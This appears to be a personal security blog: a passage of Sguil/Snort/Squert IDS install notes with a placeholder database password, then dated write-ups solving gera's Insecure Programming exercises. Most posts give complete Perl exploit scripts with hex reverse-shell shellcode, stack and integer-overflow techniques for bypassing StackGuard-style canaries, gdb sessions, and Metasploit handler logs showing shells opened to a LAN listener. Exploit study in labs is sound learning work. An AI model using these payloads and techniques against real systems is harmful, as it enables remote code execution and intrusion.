$ mysqladmin -u root password 'oursecret'

Update /etc/rc.conf.local

pkg_scripts="snort mysqld"

Sguil Server

Tcl

$ cd /usr/ports/lang/tcl/8.5/
$ sudo make install
$ sudo ln -s /usr/local/bin/tclsh8.5 /usr/local/bin/tclsh

TclX

Download from http://tclx.sourceforge.net.

$ sudo pkg_add bzip2
$ bunzip2 tclx8.4.tar.bz2
$ tar -xvf tclx8.4.tar
$ cd tclx8.4
$ ./configure --with-tcl=/usr/local/lib/tcl/tcl8.5/ --enable-tk=NO
$ make
$ sudo make install
$ sudo ln -s /usr/local/lib/tclx8.4/ /usr/local/lib/tcl/tclx

The following test should return a version number

$ tclsh
% package require Tclx

mysqltcl

Download from http://www.xdobry.de/mysqltcl/.

$ tar -zxvf mysqltcl-3.051.tar.gz
$ cd mysqltcl-3.051
$ sudo ln -s /usr/local/lib/mysql/libmysqlclient.so.21.0 /usr/local/lib/mysql /libmysqlclient.so
$ ./configure --with-tcl=/usr/local/lib/tcl/tcl8.5/ --with-mysql-include=/usr/local/include/mysql/ --with-mysql-lib=/usr/local/lib/mysql/
$ make
$ sudo make install
$ sudo ln -s /usr/local/lib/mysqltcl-3.051/ /usr/local/lib/tcl/


The following test should return a version number

$ tclsh
%package require mysqltcl

Tcllib

$ sudo pkg_add tcllib

Tcltls

$ sudo pkg_add tcltls
$ openssl req -out CA.pem -new -x509
$ openssl genrsa -out sguild.key 1024
$ openssl req -key sguild.key -new -out sguild.req
$ echo 1 > file.sr1
$ openssl x509 -req -in sguild.req -CA CA.pem -CAkey privkey.pem -CAserial file.sr1 -out sguild.pem
$ sudo mkdir -p /etc/sguild/certs
$ sudo mv sguild.key sguild.pem /etc/sguild/certs/

Sguild

$ tar -zxvf sguil-0.8.0.tar.gz
$ cd sguil-0.8.0/server
$ sudo cp sguild.conf sguild.users sguild.queries sguild.access autocat.conf /etc/sguild/
$ sudo cp sguild /usr/local/bin/
$ sudo cp -r lib/ /usr/local/lib/
$ cd /var/log/sguild
$ sudo chown _snort:_snort *
$ cd sguil-0.8.0/server/sql_scripts/
$ mysql -u root -p -e 'create database sguildb'
$ mysql -u root -p -e 'grant all privileges on sguildb.* to sguil@localhost identified by "oursecret"'
$ mysql -u root -p -D sguildb < create_sguildb.sql

Adjust /etc/sguild/sguild.conf

set USER _snort
set GROUP _snort
set SGUILD_LIB_PATH /usr/local/lib/lib/
set DEBUG 1
set DAEMON 1
set RULESDIR /etc/snort/rules
set TMP_LOAD_DIR /var/snort/load
set DBPASS "oursecret"
set DBUSER sguil
#set LOCAL_LOG_DIR /var/snort/archive
set TMP_LOAD_DIR /var/snort/`hostname -s`/load
set P0F 0

Everything can be tested with

$ sudo /usr/local/bin/sguild

/etc/rc.d/sguild should be created

#!/bin/sh

daemon="/usr/local/bin/sguild"

. /etc/rc.d/rc.subr

rc_cmd $1

And /etc/rc.conf.local adjusted

sguild_flags=""
pkg_scripts="snort mysqld sguild"

Sguil Sensor

Edit /etc/snort/snort.conf

output log_unified: filename snort.log_unified, limit 128

snort_agent.tcl

$ sudo cp snort_agent.conf /etc/sguild
$ sudo cp snort_agent.tcl /usr/local/bin/

Edit /etc/sguild/snort_agent.conf

set DEBUG 1
set DAEMON 1
set HOSTNAME  `hostname -s`
set NET_GROUP external
set LOG_DIR /var/snort
set SNORT_PERF_STATS 0

Test with

$ sudo /usr/local/bin/snort_agent.tcl -c /etc/sguild/snort_agent.tcl

Create /etc/rc.d/snort_agent

#!/bin/sh

daemon="/usr/local/bin/snort_agent.tcl"

. /etc/rc.d/rc.subr

rc_cmd $1

Adjust /etc/rc.local.conf

snort_agent_flags="-c /etc/sguild/snort_agent.conf"
pkg_scripts="snort mysqld snort_agent sguild"

Barnyard

Download from http://www.snort.org/snort-downloads/additional-downloads/#barnyard

$ tar -zxvf barnyard-0.2.0.tar.gz
$ cd sguil-0.8.0/sensor/barnyard_mods/
$ cp configure.in ~/barnyard-0.2.0
$ cp op_* ~/barnyard-0.2.0/src/output-plugins/
$ cd ~/barnyard-0.2.0/src/output-plugins
$ patch op_plugbase.c < op_plugbase.c.patch

XXX This party is real icky

$ sudo pkg_add autoconf-2.68

Add AUTOCONF_VERSION=2.68 to autojunk.sh

$ export AUTOCONF_VERSION=2.68
$ ./autojunk.sh
$ ./configure --enable-tcl --with-tcl=/usr/local/lib/tcl/tcl8.5
$ make
$ sudo make install
$ sudo mkdir /etc/barnyard
$ sudo cp etc/barnyard.conf /etc/barnyard

Edit /etc/barnyard/barnyard.conf

config daemon
config hostname: `hostname -s`
config interface: `interface_name`
#config filter: not port 22`
output sguil

Comment out non-sguil outputs

Test barnyard with

sudo /usr/local/bin/barnyard -c /etc/barnyard/barnyard.conf -d /var/snort/`hostname -s`/ -f snort.log_unified -g /etc/snort/gen-msg.map -s /etc/snort/sid-msg.map -p /etc/snort/classification.config  -w /etc/barnyard/waldo.file

Create /etc/rc.d/barnyard

#!/bin/sh

daemon="/usr/local/bin/barnyard"

. /etc/rc.d/rc.subr

rc_cmd $1

Edit /etc/rc.conf.local

barnyard_flags="-c /etc/barnyard/barnyard.conf -d /var/snort/`hostname -s` -f snort.log_unified -g /etc/snort/gen-msg.map -s /etc/snort-sid-msg.map -w /etc/barnyard/waldo.file"

pkg_scripts="snort mysqld sguild snort_agent barnyard"

Squert

PHP

Make sure you have xbase installed.

$ sudo pkg_add php-5.3.10
$ sudo ln -s /var/www/conf/modules.sample/php-5.3.conf /var/www/conf/modules/php.conf
$ sudo pkg_add php-mysql-5.3.10
$ sudo ln -s /etc/php-5.3.sample/mysql.ini /etc/php-5.3/mysql.ini
$ sudo pkg_add php-gd-5.3.10
$ sudo ln -s /etc/php-5.3.sample/gd.ini /etc/php-5.3/gd.ini

pecl-stats

$ sudo pkg_add pear
$ sudo ln -s /usr/local/bin/phpize-5.3 /usr/local/bin/phpize
$ sudo ln -s /usr/local/bin/php-config-5.3 /usr/local/bin/php-config

XXX More icky

su to root
# AUTOCONF_VERSION=2.68 pecl install stats

Graphviz

$ sudo pkg_add graphviz

Squert

Download tar.gz from https://github.com/int13h/squert/downloads.

$ tar -zxvf int13h-squert-v0.9.4-61-g4706b38.tar.gz
$ mv int13h-squert-4706b38/ squert
$ sudo mv squert/ /var/www/htdocs/
$ cd /var/www/htdocs/squert/.inc
$ sudo cp config.php.sample config.php
$ cd ../.scripts
$ mysql -u root -p -D sguildb < squert.sql
$ mysql -u root -p -D sguildb < v0.8.sql

Edit config.php

$dbHost = 'localhost';
$dbName = 'sguildb';
$dbUser = 'sguil';
$dbPass = 'oursecret';
$rulePath = "/etc/snort/rules/`hostname -s`";
$dns = "localhost";

Add to the client section of /etc/my.cnf

local-infile    = 1

$ sudo ./ip2c.tcl

Add to root's crontab

*/5     *       *       *       *       /usr/local/bin/php -e /usr/local/www/squ
ert/.inc/ip2c.php1 > /dev/null 2>&1

Add to /etc/sguild/autocat.conf
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%INAPPROPRIATE||15
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%USER_AGENTS||15
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%POLICY||15
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%P2P||15
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%SCAN||16
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%RBN||17
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%MALWARE||17
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%CURRENT_EVENTS||17
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%TROJAN||17
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%Ping||16
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%SNMP||16

Thursday, July 12, 2012

StackGuarded #3

Here is my solution to gera's StackGuarded #3. Same caveats as before.

/* sg3.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

char *read_it(char *msg) {
    char buf[128];
    int count;

    buf[read(0,buf,sizeof buf)]=0;
    return strdup(buf);
}

int main(int argv, char **argc) {
    char *msg = malloc(1000);

    snprintf(msg,1000,"User: %s",read_it(msg));
}


* I had to compile this with -mpreferred-stack-boundary=2 so that gcc wouldn't pad buf.

The read allows for a 1 byte overflow of buf into the saved framed pointer, which will be main's ebp when read_it returns. The least significant byte will be overwritten with a "\x00".

[dennis@localhost sg3]$ gdb sg3
...
(gdb) disas main
Dump of assembler code for function main:
...
0x8048554 <main+24&gt:    pushl  0xfffffffc(%ebp)
0x8048557 <main+27>:    call   0x8048500 <read_it>
0x804855c <main+32>:    add    $0x4,%esp
...;
End of assembler dump.
(gdb) b *0x8048554
Breakpoint 1 at 0x8048554: file sg3.c, line 15.
(gdb) b *0x804855c
Breakpoint 2 at 0x804855c: file sg3.c, line 15.
(gdb) run < 128
Starting program: /home/dennis/sg3/sg3 < 128

Breakpoint 1, main (argv=1, argc=0xbffffaf4) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/x $ebp
0xbffffa88:     0xbffffac8
(gdb) c
Continuing.

Breakpoint 2, 0x0804855c in main (argv=1094795585, argc=0x41414141) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/x $ebp
0xbffffa00:     0x41414141


Since variables are referenced relative to ebp, this overwrite let's me control some things. As can be seen above, main's ebp now points somewhere in my string of As.

I need to make sure that msg still points to something writable so that the snprintf will succeed. I'm using DTORs just because I had it handy during a trial-and-debug session (plus it can be nm'd from the binary), but it can be anywhere writable.

 [dennis@localhost sg3]$ gdb sg3
...
(gdb) disas main
Dump of assembler code for function main:
...
0x804856f
:    call   0x80483d8
0x8048574
:    add    $0x10,%esp
...
End of assembler dump.
(gdb) b *0x804856f
Breakpoint 1 at 0x804856f: file sg3.c, line 15.
(gdb) b *0x8048574
Breakpoint 2 at 0x8048574: file sg3.c, line 15.
(gdb) run < of
Starting program: /home/dennis/sg3/sg3 < of

Breakpoint 1, 0x0804856f in main (argv=1128481603, argc=0x43434343) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/x $esp
0xbffffa74:     0x08049614  <-- "msg", which i control somewhat
(gdb)
0xbffffa78:     0x000003e8  <-- 1000
(gdb)
0xbffffa7c:     0x080485e8  <-- "User: %s" format string
(gdb)
0xbffffa80:     0x08049b20  < -- return value from read_it()
(gdb) x/x 0x08049614
0x8049614 <__DTOR_END__>:       0x00000000
(gdb) c
Continuing.

Breakpoint 2, 0x08048574 in main (argv=1073832704, argc=0x40016998) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/s 0x08049614
0x8049614 <__DTOR_END__>:        "User: DDDD\024\226\004\bAAAANüÿ¿", 'C'


The first part shows the parameters on the stack before snprintf is called. msg is somewhat controlled by me due to the ebp overwrite. By "somewhat" I mean I can add/remove environment variables for example to adjust the stack so that the overwritten ebp will point somewhere I control.

Notice how the snprintf succeeds by writing "User: DDDD" to DTORs.

Here is what main's leave and ret look like with the overwritten ebp.

 [dennis@localhost sg3]$ gdb sg3
...
(gdb) disas main
Dump of assembler code for function main:
...
0x804856f
:    call   0x80483d8
0x8048574
:    add    $0x10,%esp
0x8048577
:    leave
0x8048578
:    ret
End of assembler dump.
(gdb) b *0x8048578
Breakpoint 1 at 0x8048578: file sg3.c, line 16.
(gdb) run < of
Starting program: /home/dennis/sg3/sg3 < of

Breakpoint 1, 0x08048578 in main (argv=Cannot access memory at address 0x41414149
) at sg3.c:16
16      }
(gdb) x/x $ebp
0x41414141:     Cannot access memory at address 0x41414141
(gdb) x/x $esp
0xbffffa04:     0xbffffc4e


Some As from our exploit string are popped into ebp and esp is adjusted to point to our shellcode address (pointing to the process's environment). On ret, this address will be popped into eip and execution will start.

Here it is put together

[dennis@localhost sg3]$ export SG3=`perl sc.pl`
[dennis@localhost sg3]$ ./ev3
SG3 is at 0xbffffc4e
[dennis@localhost sg3]$ perl exp.pl > of

dennis@ipa:~/sg3$ cat exp.pl                                                  
#!/usr/bin/perl

use warnings;
use strict;

my $write_value = "D" x 4;

# need a valid address to write to, i'm using dtors because i had it handy from an earlier trial-and-debug session. bonus you can nm it from the binary
my $write_addr = "\x14\x96\x04\x08";

# main's leave instruction will put this value in ebp
my $leave_ebp = "A" x 4;

# main's ret instruction will put this value in eip
my $ret_addr = "\x4e\xfc\xff\xbf";

my $filler = "C" x 112;

print $write_value.$write_addr.$leave_ebp.$ret_addr.$filler;


...

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:52266) at 2012-07-12 17:54:54 -0500

id
/bin//sh: ûjYj?XÍIyøj
                     XRh//shh/binãRSáÍid: No such file or directory
id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg3

StackGuarded #2

Here's my solution to gera's StackGuarded #2, same caveats as StackGuarded #1 apply.

/* sg2.c                                                   *
 *  * specially crafted to feed your brain by gera@corest.com */

void func(char *msg) {
   char buf[80];
   strcpy(buf,msg);
}

int main(int argv, char** argc) {
   func(argc[1]);
}

The stack for this one looks something like

char *msg (parameter passed to func)
func's saved return address
StackGuard's canary
func's saved frame pointer address
char buf[80]

The key here is noticing that the canary does not protect the saved frame pointer (ebp) on the stack and it can be overwritten.

From my notes on Advanced Windows Buffer Overflows: awbo5, func's function epilog will do something like:

; copies ebp--which we control a bit--into esp
mov esp,ebp
; cause esp to increase by 4
pop ebp
; pops the address of where esp points to into eip and starts executing there
retn


I will use the strcpy to overflow buf and overwrite func's saved frame pointer to point 4 bytes before the shellcode (which is loaded in the process's environment.) Once ebp is popped from the stack, the stack pointer will point at the start of my shellcode. ret will pop the next address off the stack and start executing instructions from there.

#!/usr/bin/perl

my $nops = "\x90" x 21;

my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# the ret will load 0xbffffc53 into eip which points 4 bytes ahead into the nop slide

print "\x53\xfc\xff\xbf" . $nops . $shellcode;







[dennis@localhost sg2]$ export SG2=`perl sc.pl`
[dennis@localhost sg2]$ ./ev2
SG2 is at 0xbffffc4e


As can be seen from the comment, I prepended an address that points a few bytes into the nop slide.

Here is a gdb run down.

[dennis@localhost sg2]$ gdb sg2
...
(gdb) disas func
...
0x8048478 <func+24>:    leave 
0x8048479 <func+25>:    ret   
End of assembler dump.
(gdb) break *0x8048479
Breakpoint 1 at 0x8048479: file sg2.c, line 7.
(gdb) run `perl -e 'print "A" x 88 . "\x4b\xfc\xff\xbf"'`
Starting program: /home/dennis/sg2/sg2 `perl -e 'print "A" x 88 . "\x4b\xfc\xff\xbf"'`

Breakpoint 1, 0x08048479 in func (
    msg=0x90909090 <Address 0x90909090 out of bounds>) at sg2.c:7
7       }
(gdb) info frame
Stack level 0, frame at 0xbffffc4b:
 eip = 0x8048479 in func (sg2.c:7); saved eip 0xbffffc53
 called by frame at 0x3d324753
 source language c.
 Arglist at 0xbffffc4b, args: msg=0x90909090 <Address 0x90909090 out of bounds>
 Locals at 0xbffffc4b, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffffc4b, eip at 0xbffffc4f
(gdb) x/x 0xbffffc4b + 4
0xbffffc4f:     0xbffffc53
(gdb) x/i 0xbffffc53
0xbffffc53:     nop   
(gdb)
0xbffffc54:     nop   

A breakpoint is set on func's ret. At the breakpoint, the saved ebp points to 0xbffffc4b. Adding 4 to it points to the saved eip. The saved eip points to the start of the shellcode and it's value is the jump-a-head address from above (0xbffffc53).

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 4 opened (192.168.0.4:4444 -> 192.168.0.38:52056) at 2012-07-12 11:17:05 -0500

id
/bin//sh: ûjYj?XÍIyøj
                     XRh//shh/binãRSáÍid: No such file or directory
id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg2

Wednesday, July 11, 2012

StackGuarded #1

Here's my solution to gera's StackGuarded #1.

Since I was unable to track down an old Immunix ISO or an old enough gcc source tarball to patch manually, I'm trying to solve these challenges in the intended spirit of the exercises. The binaries are not compiled with StackGuard.


/* sg1.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

int func(char *msg) {
    char buf[80];

    strcpy(buf,msg);
    // toupper(buf);        // here just to give func() "some" sence
    strcpy(msg,buf);
    exit(1);
}

int main(int argv, char** argc) {
        func(argc[1]);
}

The stack will look something like


char *msg (parameter passed to func)
func's saved return address
StackGuard's canary
saved frame pointer
char buf[80]


On return from func, if the canary has been overwritten, the executable exits and logs a buffer overflow condition.

The key point is that the canary is checked on return from the function, this means we can still overwrite things before the return.

I'm using the first strcpy to overflow buf into msg, the parameter passed by main to func.


[dennis@localhost sg1]$ gdb sg1
...
(gdb) break 8
Breakpoint 1 at 0x80484a8: file sg1.c, line 8.
(gdb) run `perl -e 'print "A" x 96 . "B" x 4'`
Starting program: /home/dennis/sg1/sg1 `perl -e 'print "A" x 96 . "B" x 4'`

Breakpoint 1, func (msg=0x42424242 <Address 0x42424242 out of bounds>)
    at sg1.c:9
9           strcpy(msg,buf);
(gdb) x/x &msg
0xbffffa20:     0x42424242

With the msg pointer in my control, I'm going to use the second strcpy to write a value anywhere.

 The value I'm writing is the address of my shellcode, loaded in the processes environment, and the anywhere I'm going to write to is exit's GOT entry (since exit is called next, before func returns.)


[dennis@localhost sg1]$ objdump -R sg1 | grep exit
08049588 R_386_JUMP_SLOT   exit

dennis@ipa:~/sg1$ cat sc.pl
#!/usr/bin/perl

my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

print $shellcode;

[dennis@localhost sg1]$ export SG1=`perl sc.pl`

dennis@ipa:~/sg1$ cat ev1.c                                                   
#include <stdlib.h>
/* this progname name must be same length as sg1 */

int
main()
{
        char *envaddr;

        envaddr = getenv("SG1");
        printf("SG1 is at %p\n", envaddr);
}




[dennis@localhost sg1]$ ./ev1
SG1 is at 0xbffffc67

Put together it looks like


[dennis@localhost sg1]$ ./sg1 `perl -e 'print "\x67\xfc\xbff\xbf" . "A" x 92 . " \x88\x95\x04\x08"'`

...

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:51515) at 2012-07-11 18:22:38 -0500


/bin//sh: ûjYj?XÍIyøj
                     XRh//shh/binãRSáÍ: No such file or directory
id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg1

Sunday, May 20, 2012

Numeric #5

Here's my solution to gera's Numeric #5 with a few debugging printfs.

/* n5.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

#include <stdio.h>

int main(int argv, char **argc) {
        char **args,buf[80];
        unsigned int index,count;

        fscanf(stdin, "%u", &count);

        printf("count: 0x%x (%u)\n", count, count);

        printf("count*sizeof(char*): 0x%x (%u)\n", count*sizeof(char*), count*sizeof(char*));

        args = malloc(count*sizeof(char*));

        while (1) {
                fscanf(stdin,"%u %80s", &index, buf);

                printf("index: 0x%x (%u)\n", index, index);

                if (index<count) {
                        args[index] = strdup(buf);
                        printf("in if\n");
                }
                else break;
        }
}

count needs to be large for two reasons. The first one is so that the malloc allocation turns into a small integer and returns a valid memory address into args. and the second one is so that it will be larger than index in the later "if" statement. I settled on "-1073741824" to meet these needs.

(gdb) run < exp
Starting program: /home/dennis/n5/n5 < exp
count: 0xc0000000 (3221225472)
count*sizeof(char*): 0x0 (0)

With these conditions met, the pointer returned by strdup can be stored in all sorts of places such as main's saved eip on the stack.

index: 0x2dfed89f (771676319)

Breakpoint 1, main (argv=1, argc=0xbffffb24) at n5.c:25
25                              printf("in if\n");
(gdb) x/x (args + index)
0xbffffabc:     0x08049850
(gdb) x/x 0x08049850
0x8049850:      0xc9299090
(gdb) info frame
Stack level 0, frame at 0xbffffab8:
 eip = 0x80485ea in main (n5.c:25); saved eip 0x8049850
 called by frame at 0xbffffaf8
 source language c.
 Arglist at 0xbffffab8, args: argv=1, argc=0xbffffb24
 Locals at 0xbffffab8, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffffab8, eip at 0xbffffabc

Here is my proof of concept code.

#!/usr/bin/perl

use warnings;
use strict;

# linux/x86/shell/reverse_tcp, LHOST=192.168.0.4, bad chars "\x00\x0a\x0d\x0c", size 76
my $shellcode =
"\x29\xc9\x83\xe9\xf3\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" .
"\x0e\x8f\xb6\xc2\x39\x83\xee\xfc\xe2\xf4\xbe\x6d\x91\x7a" .
"\xdc\xdc\xc0\x53\xe9\xee\x4b\xd8\x42\x36\x55\x62\xe7\x76" .
"\x6a\x39\x8b\xd0\xaa\x28\xd3\xd0\x91\xb0\x6e\xdc\xa4\x61" .
"\xdf\xe7\x95\xb0\x6e\xf5\x0f\xb9\xd4\x2f\x74\x35\x3f\xb5" .
"\x0f\xb9\x70\x57\xc2\x39";

# buf is 80 bytes long - \n - \0
my $nops = "\x90" x (78-length($shellcode));

# malloc allocs 0 bytes, returns valid address
print "-1073741824" . "\n";

# x * 4 == bytes to main's saved eip
# (args + x) == bytes to main's saved eip
# saved eip is hardcoded to 0xbffffabc for simplicity
print "771676319 " . $nops . $shellcode . "\n";

# break out of loop
print "-1" . "\n";

And in action

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 3 opened (192.168.0.4:4444 -> 192.168.0.38:49415) at 2012-05-20 19:40:58 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/n5

As a side note, the fscanf function introduced 2 new badchars that required new shellcode generation.



Saturday, May 12, 2012

Numeric: ns4

Here is gera's Insecure Programming ns4.c with a few debugging printfs to help visualize some things.

 /* n4.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

#include <stdio.h>
#include <string.h>
unsigned int count;

int main(int argv, char **argc) {
        char buf[80],**args;

        fscanf(stdin, "%u", &count);
        printf("unsigned int count = 0x%x (%u)\n", count, count);

        printf("\nunsigned int sizeof(char *) = 0x%x (%u)\n", sizeof(char *), sizeof(char *));

        args = alloca(count*sizeof(char*));
        printf("\nunsigned int count1.*sizeof(char *) = 0x%x (%u)\n", count*sizeof(char*), count*sizeof(char*));

        while (count--) {
                if (!fgets(buf,sizeof buf,stdin)) break;
                *args++=strdup(buf);
        }
}

This differs from ns3 in that args is now on the stack instead of bss. The stack will look something like this:

esp
[alloca 1] --> [strdup 1] --> heap
[alloca 2] --> [strdup 2] --> heap
[alloca 3] --> [strdup 3] --> heap
args --> [alloca 1]
buf[0]
buf[1]
...
buf[79]
saved ebp
saved eip

Notice how args is between alloca's allocation and the good stuff like saved eip.

As before, the math problem in alloca can be overflowed so that count is a very large number while the size allocated is very small; this allows me to write past alloca's allocation into args.

On the loop iteration that overwrites args itself, args will now point  somewhere on the heap. Instead of continuing to overwrite the stack with strdup return addresses, further iterations will now overwrite pieces of the heap section. I wasn't able to figure out anything valuable to overwrite with this method and thought I had reached a dead end.

While inputting a large unsigned int count value, -4 (4294967292), I noticed that alloca returned a pointer to the start of buf:

 (gdb) break 20
Breakpoint 1 at 0x80485b3: file ns4.c, line 20.
(gdb) run
Starting program: /home/dennis/ns4/ns4
-4
unsigned int count = 0xfffffffc (4294967292)

unsigned int sizeof(char *) = 0x4 (4)

unsigned int count*sizeof(char *) = 0xfffffff0 (4294967280)

Breakpoint 1, main (argv=1, argc=0xbffffb24) at ns4.c:20
20              while (count--) {
(gdb) x/x $esp
0xbffffa60:     0x00000001
(gdb) x/x args
0xbffffa60:     0x00000001
(gdb) x/x buf
0xbffffa60:     0x00000001


 I don't have the source code available to the really old version of Linux I've been using for these Gera examples to verify and my pointer math skills are fuzzy, but here are my (uneducated) thoughts on what may be happening.

If I could force alloca to allocate exactly 4 bytes, to hold one address, the stack would look like this:

esp
a40: alloca 1
a44: buf[0]

If I could force alloca to allocate the maximum number of bytes, 2^32 (4294967295), the stack would look exactly the same, because some pointer math within alloca would overflow back to the same spot:

esp
a40: alloca 1
a44: buf[0]

In my example, I'm supplying 4 less bytes than the maximum, the pointer math ends up equaling the start of buf.

This consequence allows the while loop to continue overwriting stack stuff like buf, saved ebp, and saved eip.
 
#!/usr/bin/perl

use warnings;
use strict;

# linux/x86/shell/reverse_tcp, LHOST=192.168.0.4, badchars "\x00\x0a", size 77
my $shellcode =
"\xd9\xd0\xbb\xc1\x92\xca\xd4\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x0d\x31\x5f\x19\x03\x5f\x19\x83\xef\xfc\x23\x67\xfb" .
"\x0f\xf0\xcb\xaf\xc5\xf4\xa1\x29\x42\x71\xd4\x7b\xf2\x16" .
"\x4c\xec\x33\xb0\x73\xe8\xd5\xa8\x62\xac\x7f\x7b\x0c\xad" .
"\xea\x1d\x56\x7e\xba\xb6\xef\x9f\x7f\xf5\x70\x04\x19\xb3" .
"\x7d\x0b\x1a\x76\xfd\x94\xfc";

# buf is 80 bytes long - \n - \0
my $nops = "\x90" x (78-length($shellcode));

print "-4"; # alloca returns buf somehow

# 24 rows of filler
for (my $i = 1; $i < 24; $i++) {
        print "AAAA";
        print "\n"
}

print $nops . $shellcode . "\n";

 In action

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:49200) at 2012-05-12 12:33:22 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/ns4



Sunday, February 12, 2012

Numeric: ns3

gera's Insecure Programming ns2.c was the same as ns1.c.

Here is gera's Insecure Programming ns3.c with a few debugging printfs to help visualize the integer overflow.

/* n3.c *
* specially crafted to feed your brain by gera@core-sdi.com */

#include <stdio.h>
#include <string.h>

unsigned int count;
char **args;

int main(int argv, char **argc) {
char buf[80];

fscanf(stdin, "%u", &count);
printf("unsigned int count = 0x%x (%u)\n", count, count);

printf("\nunsigned int sizeof(char *) = 0x%x (%u)\n", sizeof(char *), sizeof(char *));

args = alloca(count*sizeof(char*));
printf("\nunsigned int count*sizeof(char *) = 0x%x (%u)\n", count*sizeof(char*), count*sizeof(char*));


while (count--) {
if (!fgets(buf,sizeof buf,stdin)) break;
*args++=strdup(buf);
}
}

A quick run down of the code:
  1. args is a pointer to a character pointer and is declared out in bss land.
  2. An unsigned integer is read into count from standard input.
  3. alloca is like malloc, but allocates storage space on the stack. it allocates count * sizeof(char *) bytes and assigns it to args. this math problem will cause an integer overflow as shown below.
  4. Up to count/EOF lines are read in from standard input.
  5. The contents of each line is copied to the heap (via strdup) and their addresses are stored in the stack space allocated by alloca.
The maximum value for an unsigned int (on my 32-bit x86) is 2^32 = 4,294,967,296. count, an unsigned int, will be multplied by 4 (size of a character pointer). 4,294,967,296/4 = 1,073,741,824. Here are what the the values look like around this boundary.

[dennis@localhost n3]$ ./n3_debug
1073741824
unsigned int count = 0x40000000 (1073741824)

unsigned int sizeof(char *) = 0x4 (4)

unsigned int count*sizeof(char *) = 0x0 (0)

[dennis@localhost n3]$ ./n3_debug
10737418276
unsigned int count = 0x40000002 (1073741826)

unsigned int sizeof(char *) = 0x4 (4)

unsigned int count*sizeof(char *) = 0x8 (8)

As can be seen, the multiplication overflows the unsigned int and wraps back to 0 causing only 8 bytes to be allocated instead of 1,073,741,826 bytes. This allows the while loop to write past alloca's allocation into things like main's saved eip.
Here is what the stack looks like just before main returns using a pattern input.

